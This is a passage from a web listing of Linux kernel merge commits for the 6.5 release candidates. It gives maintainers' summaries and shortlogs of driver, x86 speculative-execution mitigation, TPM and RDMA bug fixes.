        misc: tps6594-esm: Disable ESM for rev 1 PMIC
        misc: rtsx: judge ASPM Mode to set PETXCFG Reg
        binder: fix memory leak in binder_init()
        iio: cros_ec: Fix the allocation size for cros_ec_command
        tools/counter: Makefile: Replace rmdir by rm to avoid make,clean failure
        iio: imu: lsm6dsx: Fix mount matrix retrieval
        iio: adc: meson: fix core clock enable/disable moment
        iio: core: Prevent invalid memory access when there is no parent
        iio: frequency: admv1013: propagate errors from regulator_get_voltage()
        counter: Fix menuconfig "Counter support" submenu entries disappearance
        dt-bindings: iio: adi,ad74115: remove ref from -nanoamp
        iio: adc: ina2xx: avoid NULL pointer dereference on OF device match
        iio: light: bu27008: Fix intensity data type
        iio: light: bu27008: Fix scale format
        iio: light: bu27034: Fix scale format
        iio: adc: ad7192: Fix ac excitation feature
        interconnect: qcom: sa8775p: add enable_mask for bcm nodes
        interconnect: qcom: sm8550: add enable_mask for bcm nodes
        interconnect: qcom: sm8450: add enable_mask for bcm nodes
        interconnect: qcom: Add support for mask-based BCMs
        ...
      3feecb1b
    • Linus Torvalds's avatar
      Merge tag 'usb-6.5-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb · 469a2f50
      Linus Torvalds authored
      Pull USB / Thunderbolt driver fixes from Greg KH:
       "Here are some small USB and Thunderbolt driver fixes for reported
        problems. Included in here are:
      
         - thunderbolt driver memory leak fix
      
         - thunderbolt display flicker fix
      
         - usb dwc3 driver fix
      
         - usb gadget uvc disconnect crash fix
      
         - usb typec Kconfig build dependency fix
      
         - usb typec small fixes
      
         - usb-con-gpio bugfix
      
         - usb-storage old driver bugfix
      
        All of these have been in linux-next for a while with no reported
        issues"
      
      * tag 'usb-6.5-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb:
        thunderbolt: Fix memory leak in tb_handle_dp_bandwidth_request()
        usb: dwc3: Properly handle processing of pending events
        usb-storage: alauda: Fix uninit-value in alauda_check_media()
        usb: common: usb-conn-gpio: Prevent bailing out if initial role is none
        USB: Gadget: core: Help prevent panic during UVC unconfigure
        usb: typec: mux: intel: Add dependency on USB_COMMON
        usb: typec: nb7vpq904m: Add an error handling path in nb7vpq904m_probe()
        usb: typec: altmodes/displayport: Signal hpd when configuring pin assignment
        usb: typec: tcpm: Fix response to vsafe0V event
        thunderbolt: Fix Thunderbolt 3 display flickering issue on 2nd hot plug onwards
      469a2f50
    • Linus Torvalds's avatar
      Merge tag 'x86_urgent_for_v6.5_rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip · 43972cf2
      Linus Torvalds authored
      Pull x86 fixes from Borislav Petkov:
      
       - Do not parse the confidential computing blob on non-AMD hardware as
         it leads to an EFI config table ending up unmapped
      
       - Use the correct segment selector in the 32-bit version of getcpu() in
         the vDSO
      
       - Make sure vDSO and VVAR regions are placed in the 47-bit VA range
         even on 5-level paging systems
      
       - Add models 0x90-0x91 to the range of AMD Zenbleed-affected CPUs
      
      * tag 'x86_urgent_for_v6.5_rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip:
        x86/cpu/amd: Enable Zenbleed fix for AMD Custom APU 0405
        x86/mm: Fix VDSO and VVAR placement on 5-level paging machines
        x86/linkage: Fix typo of BUILD_VDSO in asm/linkage.h
        x86/vdso: Choose the right GDT_ENTRY_CPUNODE for 32-bit getcpu() on 64-bit kernel
        x86/sev: Do not try to parse for the CC blob on non-AMD hardware
      43972cf2
    • Linus Torvalds's avatar
      Merge tag 'x86_bugs_for_v6.5_rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip · 272b86ba
      Linus Torvalds authored
      Pull x86 mitigation fixes from Borislav Petkov:
       "The first set of fallout fixes after the embargo madness. There will
        be another set next week too.
      
         - A first series of cleanups/unifications and documentation
           improvements to the SRSO and GDS mitigations code which got
           postponed to after the embargo date
      
         - Fix the SRSO aliasing addresses assertion so that the LLVM linker
           can parse it too"
      
      * tag 'x86_bugs_for_v6.5_rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip:
        driver core: cpu: Fix the fallback cpu_show_gds() name
        x86: Move gds_ucode_mitigated() declaration to header
        x86/speculation: Add cpu_show_gds() prototype
        driver core: cpu: Make cpu_show_not_affected() static
        x86/srso: Fix build breakage with the LLVM linker
        Documentation/srso: Document IBPB aspect and fix formatting
        driver core: cpu: Unify redundant silly stubs
        Documentation/hw-vuln: Unify filename specification in index
      272b86ba
    • Linus Torvalds's avatar
      Merge tag 'tpmdd-v6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/jarkko/linux-tpmdd · f8de32cc
      Linus Torvalds authored
      Pull tpm irq fixes from Jarkko Sakkinen:
       "These change the probing and enabling of interrupts advertised by the
        platform firmware (i.e. ACPI, Device Tree) to be an opt-in for tpm_tis,
        which can be set from the kernel command-line.
      
        Note that the opt-in change is only for the PC MMIO tpm_tis module. It
        does not affect other similar drivers using IRQs, like tpm_tis_spi and
        synquacer"
      
      * tag 'tpmdd-v6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/jarkko/linux-tpmdd:
        tpm_tis: Opt-in interrupts
        tpm: tpm_tis: Fix UPX-i11 DMI_MATCH condition
      f8de32cc
    • Linus Torvalds's avatar
      Merge tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/rdma/rdma · 9a20704f
      Linus Torvalds authored
      Pull rdma fixes from Jason Gunthorpe:
       "A few small bugs:
      
         - Fix longstanding mlx5 bug where ODP would fail with certain MR
           alignments
      
         - cancel work to prevent a hfi1 UAF
      
         - MAINTAINERS update
      
         - UAF, missing mutex_init and an error unwind bug in bnxt_re"
      
      * tag 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/rdma/rdma:
        RDMA/bnxt_re: Initialize dpi_tbl_lock mutex
        RDMA/bnxt_re: Fix error handling in probe failure path
        RDMA/bnxt_re: Properly order ib_device_unalloc() to avoid UAF
        MAINTAINERS: Remove maintainer of HiSilicon RoCE
        IB/hfi1: Fix possible panic during hotplug remove
        RDMA/umem: Set iova in ODP flow
      9a20704f